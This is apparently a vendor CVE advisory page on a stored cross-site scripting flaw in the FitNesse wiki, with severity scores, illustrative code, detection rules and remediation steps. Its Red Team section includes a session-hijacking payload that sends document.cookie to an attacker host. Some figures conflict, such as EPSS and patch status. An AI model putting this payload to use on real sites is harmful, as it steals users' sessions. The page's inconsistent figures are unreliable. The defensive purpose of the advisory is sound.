☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-39610

CVE-2024-39610 Cross-Site Scripting in Fitnesse
📅 PUBLISHED: 2024-11-15 05:26 UTC 🔄 UPDATED: 2026-09-23 20:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.42%
👁️
0.42% probability
10.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-39610 is a stored cross-site scripting (XSS) vulnerability in FitNesse, a web-based wiki and test automation framework. The flaw exists in releases prior to 20241026, allowing an attacker to inject arbitrary scripts into the application. When a victim user views the malicious content, the script executes in their browser context, potentially leading to session hijacking, data theft, or defacement. The CVSS score is 6.1 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public exploit code or Nuclei template is available at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication needed to inject the payload.
  • User Interaction (UI): Required (R) – The victim must click or view the crafted content.
  • Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a public patch (at the time of analysis) and the potential for social engineering campaigns make this a concern for organizations using FitNesse.

Deep Dive & Mechanics

FitNesse is a Java-based wiki that allows users to create and edit pages. The XSS vulnerability stems from insufficient sanitization of user-supplied input when rendering wiki content. An attacker can embed malicious JavaScript within wiki markup (e.g., in a table cell, link, or text block). When another user views the page, the script executes in the context of the FitNesse application.

The attack flow:

  1. Attacker crafts a wiki page or comment containing a payload like <script>alert('XSS')</script>.
  2. The payload is stored in the FitNesse backend (database or file system).
  3. A victim user navigates to the page.
  4. The server renders the page without proper encoding, causing the browser to execute the script.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The fix in version 20241026 likely involves output encoding or input validation for all user-generated content.

Vulnerable vs. Patched Code

Vulnerable (pre-20241026):

// Example of vulnerable rendering (simplified)
public String renderContent(String wikiText) {
    // No sanitization
    return wikiText;
}

Patched (20241026):

// Example of patched rendering (simplified)
public String renderContent(String wikiText) {
    // Apply HTML encoding to user input
    String sanitized = StringEscapeUtils.escapeHtml4(wikiText);
    // Then process wiki markup safely
    return processWikiMarkup(sanitized);
}

The patch ensures that raw HTML/JavaScript is encoded before being sent to the browser, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A vulnerable FitNesse instance (version < 20241026).
  • Network access to the FitNesse web interface.
  • Ability to create or edit wiki pages.

Steps:

  1. Log in to FitNesse (if authentication is required, obtain valid credentials).
  2. Navigate to a page you can edit (e.g., http://target:8080/MyPage).
  3. Insert a payload into the page content:
    <script>alert('XSS')</script>
    
  4. Save the page.
  5. Send the page URL to a victim user.
  6. When the victim views the page, the script executes.

Advanced Payload (session hijacking):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

  • Monitor for unusual wiki page edits containing <script> tags or event handlers.
  • Use web application firewalls (WAF) to block common XSS patterns.
  • Review server logs for requests to /edit or /save endpoints with suspicious parameters.

Hunting:

  • Search for pages containing script, onerror, onload, or javascript: in the wiki content.
  • Check for outbound connections from the FitNesse server to unknown IPs (potential data exfiltration).

Lab Setup:

  1. Deploy a vulnerable FitNesse instance using Docker:
    docker run -d -p 8080:80 fitnesse:fitnesse-20240701
    
  2. Access http://localhost:8080.
  3. Create a test page and inject the payload.
  4. Use a browser with developer tools to observe the script execution.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound HTTP requests from FitNesse server to attacker-controlled domains.
    • Unusual Referer headers pointing to FitNesse pages with XSS payloads.
  • Host:
    • Wiki page content containing <script>, <img onerror=, or javascript:.
    • Modified content.txt or properties.xml files in the FitNesse data directory.
  • Logs:
    • Repeated POST requests to /edit or /save with encoded JavaScript.
    • Browser console errors related to cross-origin requests (if payload attempts data exfiltration).

Detection Engineering

YARA Rule

rule CVE_2024_39610_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting FitNesse CVE-2024-39610"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-39610"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: FitNesse XSS Attempt (CVE-2024-39610)
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS payloads in FitNesse wiki page edits
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/edit'
            - '/save'
        cs-uri-query|re:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in wiki content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-39610 FitNesse XSS Payload"; flow:to_server; content:"POST"; http_method; content:"/edit"; http_uri; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade FitNesse to version 20241026 or later.
  2. If upgrade is not possible, restrict network access to the FitNesse web interface (e.g., VPN only).
  3. Implement a Web Application Firewall (WAF) rule to block common XSS patterns.

Long-term Measures:

  • Enforce input validation and output encoding for all user-generated content.
  • Conduct regular security audits of the FitNesse instance.
  • Monitor for new CVEs and apply patches promptly.

Workaround:

  • Disable wiki page editing for untrusted users (if feasible).
  • Use a reverse proxy to sanitize responses (e.g., ModSecurity with OWASP CRS).

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-39610/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.